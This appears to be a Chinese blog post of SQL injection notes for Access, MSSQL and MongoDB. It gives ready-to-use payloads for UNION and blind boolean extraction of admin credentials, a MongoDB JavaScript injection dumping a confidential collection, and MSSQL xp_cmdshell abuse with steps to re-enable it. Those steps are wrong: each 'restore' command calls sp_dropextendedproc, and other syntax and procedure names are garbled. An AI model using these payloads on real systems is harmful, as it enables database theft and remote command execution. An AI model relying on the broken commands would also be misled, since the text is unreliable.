其它常用数据库注入

Access

简介

Access 数据库是由微软发布的关联式数据库管理系统,主要用于存储数据、数据分析、开发软件
其最大的优点是:易学!不是学计算机专业的人员,也能学会。低成本地满足了那些从事企业管理工作的人员的管理需要,通过软件来规范同事、下属的行为,推行其管理思想。(.NET、VB、 C 语言等开发工具对于非计算机专业人员来说太难了,而 Access 则很容易)

注入

基本流程

  1. 猜解表名、列名后,使用ASCII编码的方式进行boos型注入
  2. 通过猜解表名后,使用偏移注入爆出当前表所偶内容
  3. 通过跨库查询,查询其它数据库中内容

偏移注入

eg:
admin表有id,user,passwd三列

1
2
3
4
5
6
7
8
select * from admin;  # 本查询查了三列
union select 1,2,3,4,5,6,7,* from admin; # 此处*代表三列

# 定义a、b两个表,都代表admin
(admin select a inner join admin as b);

# *代表:输出a表和b表并列后的top 1 (第一行)的内容
select 1,2,3,4,* from (admin as a inner join admin as b and a.id=b.id)

跨库查询

select * from [路径].库名
eg:

1
2
3
("insert into SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"$Request.ServerVariables("URL")&"','POST','"&replace(Request.Form(Fy_Post),"'","'")&"')")

&=1"
')") and union select 1,2,3 from news #

注入范例

1
2
3
4
5
6
7
8
9
order by 3    # 猜查询列数
union select 1,2,3 from admin # 猜表
union select user,pass,3 from admin # 猜列

and exists(select * from admin) # 猜表
and exists(select user from admin) # 猜列
and (select top 1 len(user) from admin)>0 # 猜列长
and (select top 1 asc(mid(username,1,1)) from admin)>97 # 猜列名
and (select top 1 asc(mid(username,1,1)) from admin)=97

MSSQL

简介

ms SQL是指微软的SQLServer数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。SQL Server一开始并不是微软自己研发的产品,而是当时为了要和IBM竞争时,与Sybase合作所产生的,其最早的发展者是Sybase,同时微软也和Sybase合作过 SQL Server 4.2版本的研发,微软亦将SQL Server 4.2移植到Windows NT(当时为3.1版),在与Sybase终止合作关系后,自力开发出SQL Server 6.0版,往后的SQL Server即均由微软自行研发。


权限

角色

  • 服务器角色:针对运行整个数据库服务器设定的角色和权限
  • 数据库角色:针对某个特定数据库设定的角色和权限
固定服务器角色 描述
sysadmin 可以在SQL Server中执行任何活动
serveradmin 可以设置服务器范围的配置选项,关闭服务器
setupadmin 可以管理链接服务器和启动过程,并执行某些系统存储过程(如:sp_serveroption)
securityadmin 可以管理登录和CREATE、DATABASE权限,还可读取错误日志和更改密码
processadmin 可以管理在SQL Server实例中运行的进程
dbcreator 可以创建、更改和除去数据库
diskadmin 可以管理磁盘文件
bulkadmin 可以执行BULK INSERT语句

判断当前服务器角色

1
select is_srvrolemember('sysadmin');


固定数据库角色 描述
db_owner 在数控中有全部权限
db_accessadmin 可以添加或删除用户ID
db_securityadmin 可以管理全部权限、对象所有权、角色和角色成员资格
db_ddladmin 可以发出ALL DDL,但不能发出GRANT、REVOKE或DENY语句
db_backupoperator 可以发出DBCC、CHECKPOINT和BACKUP语句
db_datareader 可以选择数据库内任何用户表中的所有数据
db_datawriter 可以更改数据库内任何用户表中的所有数据
db_denydatareader 不能选择数据库内任何用户表中的所有数据
db_denydatawriter 不能更改数据库内任何用户表中的所有数据

判断当前数据库角色

1
select is_member('db_owner');


扩展存储过程

定义

扩展存储过程是MsSQL提供的特殊功能。所谓“扩展存储过程”,其实就是一个普通的Windows系统DLL文件,按照某种规则实现了某些函数功能。


常见利用方法

在SQL注入攻击过程中,最常利用到的扩展存储见下表:

存储过程 利用方法
xp_cmdshell 直接执行系统命令
xp_regread 注册表读取
xp_regwrite 写入注册表
xp_dirtre 列目录操作
xp_enumds ODBC连接
xp_loginconfig 配置服务器安全模式信息
xp_makecab 创建压缩卷
xp_ntsec_enumdomains 查看domain信息
xp_terminate_jroces 查看终端进程,给出一个进程PID

检测与恢复扩展存储

提交如下查询进行检测,查看xp_cmdshell扩展存储过程是否被删除

1
and 1=(Select count(*) FROM master.dbo.sysobjects WHERE name='xp_cmdshell')

若扩展存储被删除,可执行如下查询进行恢复

1
;exec sp_dropextendedproc 'xp_cmdshell'

上诉一条查询语句,是在恢复前先删除xp_cmdshell,以后再在后面重新进行创建,随后执行如下查询

1
;exec sp_dropextendedproc 'xp_cmdshell','xsql70.dll'

该语句利用系统中默认的xsql70.dll文件,自动恢复xp_cmdshell,若恢复失败,则说明该文件已被改名或删除,可以上传一个xsql70.dll文件,自定义路径进行恢复。例如执行如下查询语句

1
;exec sp_dropextendedproc 'xp_cmdshell','c:\xsql70.dll'


MongoDB

简介

MongoDB是一个基于分布式文件存储的数据库。由C++语言编写。旨在为WEB应用提供可扩展的高性能数据存储解决方案。
MongoDB是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。它支持的数据结构非常松散,是类似json的bson格式,因此可以存储比较复杂的数据类型。Mongo最大的特点是它支持的查询语言非常强大,其语法有点类似于面向对象的查询语言,几乎可以实现类似关系数据库单表查询的绝大部分功能,而且还支持对数据建立索引。

特点

属于nosql,没有库、表结构,只有对应关系


一些用法

注入的一些例子

1
2
3
4
5
$id=1'});return ({title:tojson(
db.Authority_confidential.find()[1]),2:'1'});

db.notice.findOne({'id':'$id'});
return({title:tojson(db.Authority_confidential.find()[1]),2:'1'});

一些变量含义:
$gt ——- greater than >
$gte —— gt equal >=
$lt ——— less than <
$lte ——– lt equal <=
$ne ——— not equal !=
$eq ——— equal =


补充

http://www.makaidong.com/%E5%8D%9A%E5%AE%A2%E5%9B%AD%E9%97%AE%E7%AD%94/11237.shtml

mssql/oracle
优点:适用于大型网络,适合分级管理
缺点:庞大,系统复杂

access、mssql使用工具首选穿山甲(pangolin)

渗透篇03-SQL Injection漏洞详解–手工挖掘(SQL server篇)
https://blog.csdn.net/qq_38055050/article/details/79953652

您的支持是我前进的动力!